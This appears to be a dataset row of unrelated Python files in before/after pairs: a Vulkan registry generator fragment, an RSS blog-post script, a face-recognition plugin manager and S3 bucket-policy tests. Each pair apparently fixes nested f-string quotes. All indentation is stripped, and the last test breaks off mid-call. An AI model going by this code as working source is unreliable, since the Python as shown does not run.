if apiNameMatch(self.genOpts.apiname, api):
apiMatch = True
if regVersions.match(fi.name):
# Matches API & version #s being generated. Mark for
# emission and add to the features[] list .
# @@ Could use 'declared' instead of 'emit'?
fi.emit = (regEmitVersions.match(fi.name) is not None)
features.append(fi)
if not fi.emit:
self.gen.logMsg('diag', 'NOT tagging feature api =', api,
'name =', fi.name, 'version =', fi.version,
'for emission (does not match emitversions pattern)')
else:
self.gen.logMsg('diag', 'Including feature api =', api,
'name =', fi.name, 'version =', fi.version,
'for emission (matches emitversions pattern)')
else:
self.gen.logMsg('diag', 'NOT including feature api =', api,
'name =', fi.name, 'version =', fi.version,
'(does not match requested versions)')
else:
self.gen.logMsg('diag', 'NOT including feature api =', api,
'name =', fi.name,
'(does not match requested API)')
if not apiMatch:
self.gen.logMsg('warn', 'No matching API versions found!')
# Get all matching extensions, in order by their extension number,
# and add to the list of features.
# Start with extensions whose 'supported' attributes match the API
# being generated. Add extensions matching the pattern specified in
# regExtensions, then remove extensions matching the pattern
# specified in regRemoveExtensions
for (extName, ei) in sorted(self.extdict.items(), key=lambda x: x[1].number if x[1].number is not None else '0'):
extName = ei.name
include = False
# Include extension if defaultExtensions is not None and is
# exactly matched by the 'supported' attribute.
if apiNameMatch(self.genOpts.defaultExtensions,
ei.elem.get('supported')):
self.gen.logMsg('diag', 'Including extension',
extName, "(defaultExtensions matches the 'supported' attribute)")
include = True
# Include additional extensions if the extension name matches
# the regexp specified in the generator options. This allows
# forcing extensions into an interface even if they are not
# tagged appropriately in the registry.
# However we still respect the 'supported' attribute.
if regAddExtensions.match(extName) is not None:
if not apiNameMatch(self.genOpts.apiname, ei.elem.get('supported')):
self.gen.logMsg('diag', 'NOT including extension',
extName, '(matches explicitly requested, but does not match the \'supported\' attribute)')
include = False
else:
self.gen.logMsg('diag', 'Including extension',
extName, '(matches explicitly requested extensions to add)')
include = True
# Remove extensions if the name matches the regexp specified
# in generator options. This allows forcing removal of
# extensions from an interface even if they are tagged that
# way in the registry.
if regRemoveExtensions.match(extName) is not None:
self.gen.logMsg('diag', 'Removing extension',
extName, '(matches explicitly requested extensions to remove)')
include = False
# If the extension is to be included, add it to the
# extension features list.
if include:
ei.emit = (regEmitExtensions.match(extName) is not None)
features.append(ei)
if not ei.emit:
self.gen.logMsg('diag', 'NOT tagging extension',
extName,
'for emission (does not match emitextensions pattern)')
# Hack - can be removed when validity generator goes away
# (Jon) I am not sure what this does, or if it should
# respect the ei.emit flag above.
self.requiredextensions.append(extName)
else:
self.gen.logMsg('diag', 'NOT including extension',
extName, '(does not match api attribute or explicitly requested extensions)')
# Add all spirv elements to list
# generators decide to emit them all or not
# Currently no filtering as no client of these elements needs filtering
spirvexts = []
for key in self.spirvextdict:
si = self.spirvextdict[key]
si.emit = (regEmitSpirv.match(key) is not None)
spirvexts.append(si)
spirvcaps = []
for key in self.spirvcapdict:
si = self.spirvcapdict[key]
si.emit = (regEmitSpirv.match(key) is not None)
spirvcaps.append(si)
formats = []
for key in self.formatsdict:
si = self.formatsdict[key]
si.emit = (regEmitFormats.match(key) is not None)
formats.append(si)
# Sort the features list, if a sort procedure is defined
if self.genOpts.sortProcedure:
self.genOpts.sortProcedure(features)
# print('sortProcedure ->', [f.name for f in features])
# Passes 1+2: loop over requested API versions and extensions tagging
# types/commands/features as required (in an <require> block) or no
# longer required (in an <remove> block). <remove>s are processed
# after all <require>s, so removals win.
# If a profile other than 'None' is being generated, it must
# match the profile attribute (if any) of the <require> and
# <remove> tags.
self.gen.logMsg('diag', 'PASS 1: TAG FEATURES')
for f in features:
self.gen.logMsg('diag', 'PASS 1: Tagging required and features for', f.name)
self.fillFeatureDictionary(f.elem, f.name, self.genOpts.apiname, self.genOpts.profile)
self.requireFeatures(f.elem, f.name, self.genOpts.apiname, self.genOpts.profile)
self.assignAdditionalValidity(f.elem, self.genOpts.apiname, self.genOpts.profile)
for f in features:
self.gen.logMsg('diag', 'PASS 2: Tagging removed features for', f.name)
self.removeFeatures(f.elem, f.name, self.genOpts.apiname, self.genOpts.profile)
self.removeAdditionalValidity(f.elem, self.genOpts.apiname, self.genOpts.profile)
# Now, strip references to APIs that are not required.
# At present such references may occur in:
# Structs in <type category="struct"> 'structextends' attributes
# Enums in <command> 'successcodes' and 'errorcodes' attributes
self.stripUnsupportedAPIs(self.typedict, 'structextends', self.typedict)
self.stripUnsupportedAPIs(self.cmddict, 'successcodes', self.enumdict)
self.stripUnsupportedAPIs(self.cmddict, 'errorcodes', self.enumdict)
# @@May need to strip <spirvcapability> / <spirvextension> <enable>
# tags of these forms:
# <enable version="VK_API_VERSION_1_0"/>
# <enable struct="VkPhysicalDeviceFeatures" feature="geometryShader" requires="VK_VERSION_1_0"/>
# <enable extension="VK_KHR_shader_draw_parameters"/>
# <enable property="VkPhysicalDeviceVulkan12Properties" member="shaderDenormPreserveFloat16" value="VK_TRUE" requires="VK_VERSION_1_2,VK_KHR_shader_float_controls"/>
# Pass 3: loop over specified API versions and extensions printing
# declarations for required things which have not already been
# generated.
self.gen.logMsg('diag', 'PASS 3: GENERATE INTERFACES FOR FEATURES')
self.gen.beginFile(self.genOpts)
for f in features:
self.gen.logMsg('diag', 'PASS 3: Generating interface for',
f.name)
emit = self.emitFeatures = f.emit
if not emit:
self.gen.logMsg('diag', 'PASS 3: NOT declaring feature',
f.elem.get('name'), 'because it is not tagged for emission')
# Generate the interface (or just tag its elements as having been
# emitted, if they have not been).
self.gen.beginFeature(f.elem, emit)
self.generateRequiredInterface(f.elem)
self.gen.endFeature()
# Generate spirv elements
for s in spirvexts:
self.generateSpirv(s, self.spirvextdict)
for s in spirvcaps:
self.generateSpirv(s, self.spirvcapdict)
for s in formats:
self.generateFormat(s, self.formatsdict)
self.gen.endFile()
def apiReset(self):
"""Reset type/enum/command dictionaries before generating another API.
Use between apiGen() calls to reset internal state."""
for datatype in self.typedict:
self.typedict[datatype].resetState()
for enum in self.enumdict:
self.enumdict[enum].resetState()
for cmd in self.cmddict:
self.cmddict[cmd].resetState()
for cmd in self.apidict:
self.apidict[cmd].resetState()
def __validateStructLimittypes(self, struct):
"""Validate 'limittype' attributes for a single struct."""
limittypeDiags = namedtuple('limittypeDiags', ['missing', 'invalid'])
badFields = defaultdict(lambda : limittypeDiags(missing=[], invalid=[]))
validLimittypes = { 'min', 'max', 'bitmask', 'range', 'struct', 'noauto' }
for member in struct.getMembers():
memberName = member.findtext('name')
if memberName in ['sType', 'pNext']:
continue
limittype = member.get('limittype')
if not limittype:
badFields[struct.elem.get('name')].missing.append(memberName)
elif limittype == 'struct':
typeName = member.findtext('type')
memberType = self.typedict[typeName]
badFields.update(self.__validateStructLimittypes(memberType))
elif limittype not in validLimittypes:
badFields[struct.elem.get('name')].invalid.append(memberName)
return badFields
def __validateLimittype(self):
"""Validate 'limittype' attributes."""
badFields = self.__validateStructLimittypes(self.typedict['VkPhysicalDeviceProperties2'])
for featStructName in self.validextensionstructs['VkPhysicalDeviceProperties2']:
featStruct = self.typedict[featStructName]
badFields.update(self.__validateStructLimittypes(featStruct))
if badFields:
self.gen.logMsg('diag', 'SUMMARY OF FIELDS WITH INCORRECT LIMITTYPES')
for key in sorted(badFields.keys()):
diags = badFields[key]
if diags.missing:
self.gen.logMsg('diag', ' ', key, 'missing limittype:', ', '.join(badFields[key].missing))
if diags.invalid:
self.gen.logMsg('diag', ' ', key, 'invalid limittype:', ', '.join(badFields[key].invalid))
return False
return True
def validateRegistry(self):
"""Validate properties of the registry."""
return self.__validateLimittype()
|
#!/usr/bin/env python3
import xml
import urllib.request
import xml.etree.ElementTree as ET
BLOG_URL = "http://www.xkyle.com"
RSS_URL = f"{BLOG_URL}/index.xml"
def get_blog_rssxml():
with urllib.request.urlopen(RSS_URL) as response:
return response.read()
def print_blog_posts():
rssxml = get_blog_rssxml()
root = ET.fromstring(rssxml)
print(f"Recent [blog]({BLOG_URL}) posts:\n")
for item in root[0].findall("item")[:5]:
url = f"{BLOG_URL}{item.find("link").text}"
text = item.find("title").text
print(f"* [{text}]({url})")
def print_badge():
print(
"""
"""
)
if __name__ == "__main__":
print_blog_posts()
print_badge()
| #!/usr/bin/env python3
import xml
import urllib.request
import xml.etree.ElementTree as ET
BLOG_URL = "http://www.xkyle.com"
RSS_URL = f"{BLOG_URL}/index.xml"
def get_blog_rssxml():
with urllib.request.urlopen(RSS_URL) as response:
return response.read()
def print_blog_posts():
rssxml = get_blog_rssxml()
root = ET.fromstring(rssxml)
print(f"Recent [blog]({BLOG_URL}) posts:\n")
for item in root[0].findall("item")[:5]:
url = f"{BLOG_URL}{item.find('link').text}"
text = item.find("title").text
print(f"* [{text}]({url})")
def print_badge():
print(
"""
"""
)
if __name__ == "__main__":
print_blog_posts()
print_badge()
|
# Copyright (c) 2020 the original author or authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
# or implied. See the License for the specific language governing
# permissions and limitations under the License.
from collections import defaultdict
from importlib import import_module
from typing import List, Type, Dict, Tuple
from types import ModuleType
from cached_property import cached_property
from src import constants
from src.services.facescan.plugins import base, mixins
ML_MODEL_SEPARATOR = '@'
def import_classes(class_path: str):
module, class_name = class_path.rsplit('.', 1)
return getattr(import_module(module, __package__), class_name)
class PluginManager:
plugins_modules: Dict[ModuleType, List[str]]
def __init__(self):
self.plugins_modules = defaultdict(list)
for plugin_name in self.get_plugins_names():
module = import_module(f'{__package__}.{plugin_name.split('.')[0]}')
self.plugins_modules[module].append(plugin_name)
@property
def requirements(self):
requirements = set()
for module in self.plugins_modules:
requirements |= set(module.requirements)
return requirements
def get_plugins_names(self):
return list(filter(None, [
constants.ENV.FACE_DETECTION_PLUGIN,
constants.ENV.CALCULATION_PLUGIN,
*constants.ENV.EXTRA_PLUGINS
]))
@cached_property
def plugins(self):
plugins = []
for module, plugins_names in self.plugins_modules.items():
for pl_name in plugins_names:
mlmodel_name = None
if ML_MODEL_SEPARATOR in pl_name:
pl_name, mlmodel_name = pl_name.split(ML_MODEL_SEPARATOR)
pl_path = f'{module.__package__}.{pl_name}'
pl_class = import_classes(pl_path)
plugin = pl_class(ml_model_name=mlmodel_name)
plugins.append(plugin)
return plugins
@cached_property
def detector(self) -> mixins.FaceDetectorMixin:
return [pl for pl in self.plugins
if isinstance(pl, mixins.FaceDetectorMixin)][0]
@cached_property
def calculator(self) -> mixins.CalculatorMixin:
return [pl for pl in self.plugins
if isinstance(pl, mixins.CalculatorMixin)][0]
@cached_property
def face_plugins(self) -> List[base.BasePlugin]:
return [pl for pl in self.plugins
if not isinstance(pl, mixins.FaceDetectorMixin)]
def filter_face_plugins(self, slugs: List[str]) -> List[base.BasePlugin]:
return [pl for pl in self.face_plugins
if slugs is None or pl.slug in slugs]
def get_plugin_by_class(self, plugin_class: Type):
for plugin in self.plugins:
if isinstance(plugin, plugin_class):
return plugin
plugin_manager = PluginManager()
| # Copyright (c) 2020 the original author or authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
# or implied. See the License for the specific language governing
# permissions and limitations under the License.
from collections import defaultdict
from importlib import import_module
from typing import List, Type, Dict, Tuple
from types import ModuleType
from cached_property import cached_property
from src import constants
from src.services.facescan.plugins import base, mixins
ML_MODEL_SEPARATOR = '@'
def import_classes(class_path: str):
module, class_name = class_path.rsplit('.', 1)
return getattr(import_module(module, __package__), class_name)
class PluginManager:
plugins_modules: Dict[ModuleType, List[str]]
def __init__(self):
self.plugins_modules = defaultdict(list)
for plugin_name in self.get_plugins_names():
module = import_module(f'{__package__}.{plugin_name.split(".")[0]}')
self.plugins_modules[module].append(plugin_name)
@property
def requirements(self):
requirements = set()
for module in self.plugins_modules:
requirements |= set(module.requirements)
return requirements
def get_plugins_names(self):
return list(filter(None, [
constants.ENV.FACE_DETECTION_PLUGIN,
constants.ENV.CALCULATION_PLUGIN,
*constants.ENV.EXTRA_PLUGINS
]))
@cached_property
def plugins(self):
plugins = []
for module, plugins_names in self.plugins_modules.items():
for pl_name in plugins_names:
mlmodel_name = None
if ML_MODEL_SEPARATOR in pl_name:
pl_name, mlmodel_name = pl_name.split(ML_MODEL_SEPARATOR)
pl_path = f'{module.__package__}.{pl_name}'
pl_class = import_classes(pl_path)
plugin = pl_class(ml_model_name=mlmodel_name)
plugins.append(plugin)
return plugins
@cached_property
def detector(self) -> mixins.FaceDetectorMixin:
return [pl for pl in self.plugins
if isinstance(pl, mixins.FaceDetectorMixin)][0]
@cached_property
def calculator(self) -> mixins.CalculatorMixin:
return [pl for pl in self.plugins
if isinstance(pl, mixins.CalculatorMixin)][0]
@cached_property
def face_plugins(self) -> List[base.BasePlugin]:
return [pl for pl in self.plugins
if not isinstance(pl, mixins.FaceDetectorMixin)]
def filter_face_plugins(self, slugs: List[str]) -> List[base.BasePlugin]:
return [pl for pl in self.face_plugins
if slugs is None or pl.slug in slugs]
def get_plugin_by_class(self, plugin_class: Type):
for plugin in self.plugins:
if isinstance(plugin, plugin_class):
return plugin
plugin_manager = PluginManager()
|
import logging
import pytest
import botocore.exceptions as boto3exception
import json
import uuid
from ocs_ci.framework import config
from ocs_ci.ocs.exceptions import (
NoBucketPolicyResponse,
InvalidStatusCode,
UnexpectedBehaviour,
)
from ocs_ci.framework.testlib import MCGTest, tier1, tier2, tier3, skipif_ocs_version
from ocs_ci.ocs.resources.bucket_policy import (
NoobaaAccount,
HttpResponseParser,
gen_bucket_policy,
)
from ocs_ci.ocs.resources.objectbucket import OBC
from ocs_ci.ocs.bucket_utils import (
put_bucket_policy,
get_bucket_policy,
s3_put_object,
delete_bucket_policy,
s3_get_object,
s3_delete_object,
create_multipart_upload,
s3_put_bucket_website,
s3_get_bucket_website,
s3_delete_bucket_website,
s3_get_bucket_versioning,
s3_put_bucket_versioning,
)
from ocs_ci.ocs.defaults import website_config, index, error
from ocs_ci.ocs.constants import (
bucket_website_action_list,
bucket_version_action_list,
object_version_action_list,
)
logger = logging.getLogger(__name__)
@skipif_ocs_version("<4.3")
class TestS3BucketPolicy(MCGTest):
"""
Test Bucket Policies on Noobaa accounts
"""
@pytest.mark.polarion_id("OCS-2150")
@tier1
def test_basic_bucket_policy_operations(self, mcg_obj, bucket_factory):
"""
Test Add, Modify, delete bucket policies
"""
# Creating obc and obc object to get account details, keys etc
obc_name = bucket_factory(amount=1, interface="OC")[0].name
obc_obj = OBC(obc_name)
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["GetObject"],
resources_list=[obc_obj.bucket_name],
)
bucket_policy = json.dumps(bucket_policy_generated)
# Add Bucket Policy
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name}")
put_policy = put_bucket_policy(mcg_obj, obc_obj.bucket_name, bucket_policy)
if put_policy is not None:
response = HttpResponseParser(put_policy)
if response.status_code == 200:
logger.info("Bucket policy has been created successfully")
else:
raise InvalidStatusCode(f"Invalid Status code: {response.status_code}")
else:
raise NoBucketPolicyResponse("Put policy response is none")
# Get bucket policy
logger.info(f"Getting Bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
# Modifying bucket policy to take new policy
logger.info("Modifying bucket policy")
actions_list = ["ListBucket", "CreateBucket"]
actions = list(map(lambda action: "s3:%s" % action, actions_list))
modified_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=actions_list,
resources_list=[obc_obj.bucket_name],
)
bucket_policy_modified = json.dumps(modified_policy_generated)
put_modified_policy = put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy_modified
)
if put_modified_policy is not None:
response = HttpResponseParser(put_modified_policy)
if response.status_code == 200:
logger.info("Bucket policy has been modified successfully")
else:
raise InvalidStatusCode(f"Invalid Status code: {response.status_code}")
else:
raise NoBucketPolicyResponse("Put modified policy response is none")
# Get Modified Policy
get_modified_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
modified_policy = json.loads(get_modified_policy["Policy"])
logger.info(f"Got modified bucket policy: {modified_policy}")
actions_from_modified_policy = modified_policy["statement"][0]["action"]
modified_actions = list(map(str, actions_from_modified_policy))
initial_actions = list(map(str.lower, actions))
logger.info(f"Actions from modified_policy: {modified_actions}")
logger.info(f"User provided actions actions: {initial_actions}")
if modified_actions == initial_actions:
logger.info("Modified actions and initial actions are same")
else:
raise UnexpectedBehaviour(
"Modification Failed: Action lists are not identical"
)
# Delete Policy
logger.info(f"Delete bucket policy by admin on bucket: {obc_obj.bucket_name}")
delete_policy = delete_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Delete policy response: {delete_policy}")
if delete_policy is not None:
response = HttpResponseParser(delete_policy)
if response.status_code == 204:
logger.info("Bucket policy is deleted successfully")
else:
raise InvalidStatusCode(f"Invalid Status code: {response.status_code}")
else:
raise NoBucketPolicyResponse("Delete policy response is none")
# Confirming again by calling get_bucket_policy
try:
get_bucket_policy(mcg_obj, obc_obj.bucket_name)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "NoSuchBucketPolicy":
logger.info("Bucket policy has been deleted successfully")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
@pytest.mark.polarion_id("OCS-2146")
@tier1
def test_bucket_policy_actions(self, mcg_obj, bucket_factory):
"""
Tests user access to Put, Get, Delete bucket policy actions
"""
# Creating obc and obc object to get account details, keys etc
obc_name = bucket_factory(amount=1, interface="OC")[0].name
obc_obj = OBC(obc_name)
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["PutBucketPolicy"],
resources_list=[obc_obj.bucket_name],
)
bucket_policy = json.dumps(bucket_policy_generated)
# Admin creates a policy on the user bucket, for Action: PutBucketPolicy
logger.info(f"Creating policy by admin on bucket: {obc_obj.bucket_name}")
put_policy = put_bucket_policy(mcg_obj, obc_obj.bucket_name, bucket_policy)
logger.info(f"Put bucket policy response from admin: {put_policy}")
# Verifying Put bucket policy by user by changing the actions to GetBucketPolicy & DeleteBucketPolicy
user_generated_policy = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["GetBucketPolicy", "DeleteBucketPolicy"],
resources_list=[obc_obj.bucket_name],
)
bucket_policy1 = json.dumps(user_generated_policy)
logger.info(f"Changing bucket policy by User on bucket: {obc_obj.bucket_name}")
put_policy_user = put_bucket_policy(
obc_obj, obc_obj.bucket_name, bucket_policy1
)
logger.info(f"Put bucket policy response from user: {put_policy_user}")
# Verifying whether user can get the bucket policy after modification
get_policy = get_bucket_policy(obc_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
# Verifying whether user is not allowed Put the bucket policy after modification
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to put objects"
)
try:
put_bucket_policy(obc_obj, obc_obj.bucket_name, bucket_policy1)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info(
f"Put bucket policy has been denied access to the user: {obc_obj.obc_account}"
)
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
# Verifying whether user can Delete the bucket policy after modification
logger.info(f"Deleting bucket policy on bucket: {obc_obj.bucket_name}")
delete_policy = delete_bucket_policy(obc_obj, obc_obj.bucket_name)
logger.info(f"Delete policy response: {delete_policy}")
@pytest.mark.polarion_id("OCS-2156")
@tier1
def test_object_actions(self, mcg_obj, bucket_factory):
"""
Test to verify different object actions and cross account access to buckets
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
# Creating multiple obc users (accounts)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Creating noobaa account to access bucket belonging to obc account
user_name = "noobaa-user" + str(uuid.uuid4().hex)
email = user_name + "@mail.com"
user = NoobaaAccount(
mcg_obj, name=user_name, email=email, buckets=[obc_obj.bucket_name]
)
# Admin sets policy on obc bucket with obc account principal
bucket_policy_generated = gen_bucket_policy(
user_list=[obc_obj.obc_account, user.email_id],
actions_list=["PutObject"],
resources_list=[f'{obc_obj.bucket_name}/{'*'}'],
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
put_policy = put_bucket_policy(mcg_obj, obc_obj.bucket_name, bucket_policy)
logger.info(f"Put bucket policy response from Admin: {put_policy}")
# Get Policy
logger.info(f"Getting Bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
# Verifying whether users can put object
logger.info(
f"Adding object on bucket: {obc_obj.bucket_name} using user: {obc_obj.obc_account}"
)
assert s3_put_object(
obc_obj, obc_obj.bucket_name, object_key, data
), "Failed: Put Object"
logger.info(
f"Adding object on bucket: {obc_obj.bucket_name} using user: {user.email_id}"
)
assert s3_put_object(
user, obc_obj.bucket_name, object_key, data
), "Failed: Put Object"
# Verifying whether Get action is not allowed
logger.info(
f"Verifying whether user: "
f'{user.email_id if float(config.ENV_DATA['ocs_version']) >= 4.6 else obc_obj.obc_account}'
f" is denied to Get object"
)
try:
if float(config.ENV_DATA["ocs_version"]) >= 4.6:
s3_get_object(user, obc_obj.bucket_name, object_key)
else:
s3_get_object(obc_obj, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Get Object action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
else:
assert False, "Get object succeeded when it should have failed"
if float(config.ENV_DATA["ocs_version"]) >= 4.6:
logger.info(
f"Verifying whether the user: "
f"{obc_obj.obc_account} is able to access Get action"
f"irrespective of the policy set"
)
assert s3_get_object(
obc_obj, obc_obj.bucket_name, object_key
), "Failed: Get Object"
# Verifying whether obc account allowed to create multipart
logger.info(
f"Creating multipart on bucket: {obc_obj.bucket_name}"
f" with key: {object_key} using user: {obc_obj.obc_account}"
)
create_multipart_upload(obc_obj, obc_obj.bucket_name, object_key)
# Verifying whether S3 user is allowed to create multipart
logger.info(
f"Creating multipart on bucket: {obc_obj.bucket_name} "
f"with key: {object_key} using user: {user.email_id}"
)
create_multipart_upload(user, obc_obj.bucket_name, object_key)
# Verifying whether obc account is denied access to delete object
logger.info(
f"Verifying whether user: "
f'{user.email_id if float(config.ENV_DATA['ocs_version']) >= 4.6 else obc_obj.obc_account}'
f"is denied to Delete object"
)
try:
if float(config.ENV_DATA["ocs_version"]) >= 4.6:
s3_delete_object(user, obc_obj.bucket_name, object_key)
else:
s3_delete_object(obc_obj, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Delete action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
else:
assert False, "Delete object succeeded when it should have failed"
# Admin sets a policy on obc-account bucket with noobaa-account principal (cross account access)
new_policy_generated = gen_bucket_policy(
user_list=user.email_id,
actions_list=["GetObject", "DeleteObject"],
resources_list=[f'{obc_obj.bucket_name}/{'*'}'],
)
new_policy = json.dumps(new_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
put_policy = put_bucket_policy(mcg_obj, obc_obj.bucket_name, new_policy)
logger.info(f"Put bucket policy response from admin: {put_policy}")
# Get Policy
logger.info(f"Getting bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
# Verifying whether Get, Delete object is allowed
logger.info(
f"Getting object on bucket: {obc_obj.bucket_name} with user: {user.email_id}"
)
assert s3_get_object(
user, obc_obj.bucket_name, object_key
), "Failed: Get Object"
logger.info(
f"Deleting object on bucket: {obc_obj.bucket_name} with user: {user.email_id}"
)
assert s3_delete_object(
user, obc_obj.bucket_name, object_key
), "Failed: Delete Object"
# Verifying whether Put object action is denied
logger.info(
f"Verifying whether user: {user.email_id} is denied to Put object after updating policy"
)
try:
s3_put_object(user, obc_obj.bucket_name, object_key, data)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Put object action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
@pytest.mark.polarion_id("OCS-2145")
@tier1
def test_anonymous_read_only(self, mcg_obj, bucket_factory):
"""
Tests read only access by an anonymous user
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
user_name = "noobaa-user" + str(uuid.uuid4().hex)
email = user_name + "@mail.com"
# Creating a s3 bucket
s3_bucket = bucket_factory(amount=1, interface="S3")[0]
# Creating a random user account
user = NoobaaAccount(
mcg_obj, name=user_name, email=email, buckets=[s3_bucket.name]
)
# Admin sets policy all users '*' (Public access)
bucket_policy_generated = gen_bucket_policy(
user_list=["*"],
actions_list=["GetObject"],
resources_list=[f'{s3_bucket.name}/{'*'}'],
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {s3_bucket.name} with wildcard (*) Principal"
)
put_policy = put_bucket_policy(mcg_obj, s3_bucket.name, bucket_policy)
logger.info(f"Put bucket policy response from Admin: {put_policy}")
# Getting Policy
logger.info(f"Getting bucket policy on bucket: {s3_bucket.name}")
get_policy = get_bucket_policy(mcg_obj, s3_bucket.name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
# Admin writes an object to bucket
logger.info(f"Writing object on bucket: {s3_bucket.name} by admin")
assert s3_put_object(
mcg_obj, s3_bucket.name, object_key, data
), "Failed: PutObject"
# Reading the object by anonymous user
logger.info(
f"Getting object by user: {user.email_id} on bucket: {s3_bucket.name} "
)
assert s3_get_object(
user, s3_bucket.name, object_key
), f"Failed: Get Object by user {user.email_id}"
@pytest.mark.polarion_id("OCS-2140")
@tier2
def test_bucket_website_and_policies(self, mcg_obj, bucket_factory):
"""
Tests bucket website bucket policy actions
"""
# Creating a OBC (account)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Admin sets policy with Put/Get bucket website actions
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=bucket_website_action_list,
resources_list=[obc_obj.bucket_name, f'{obc_obj.bucket_name}/{'*'}'],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy for bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
logger.info(f"Adding bucket website config to: {obc_obj.bucket_name}")
assert s3_put_bucket_website(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
website_config=website_config,
), "Failed: PutBucketWebsite"
logger.info(f"Getting bucket website config from: {obc_obj.bucket_name}")
assert s3_get_bucket_website(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name
), "Failed: GetBucketWebsite"
logger.info("Writing index and error data to the bucket")
assert s3_put_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key="index.html",
data=index,
content_type="text/html",
), "Failed: PutObject"
assert s3_put_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key="error.html",
data=error,
content_type="text/html",
), "Failed: PutObject"
# Verifying whether DeleteBucketWebsite action is denied access
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to DeleteBucketWebsite"
)
try:
s3_delete_bucket_website(s3_obj=obc_obj, bucketname=obc_obj.bucket_name)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("GetObject action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
# Admin modifies policy to allow DeleteBucketWebsite action
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["DeleteBucketWebsite"],
resources_list=[obc_obj.bucket_name, f'{obc_obj.bucket_name}/{'*'}'],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy for bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
logger.info(
f"Deleting bucket website config from bucket: {obc_obj.bucket_name}"
)
assert s3_delete_bucket_website(
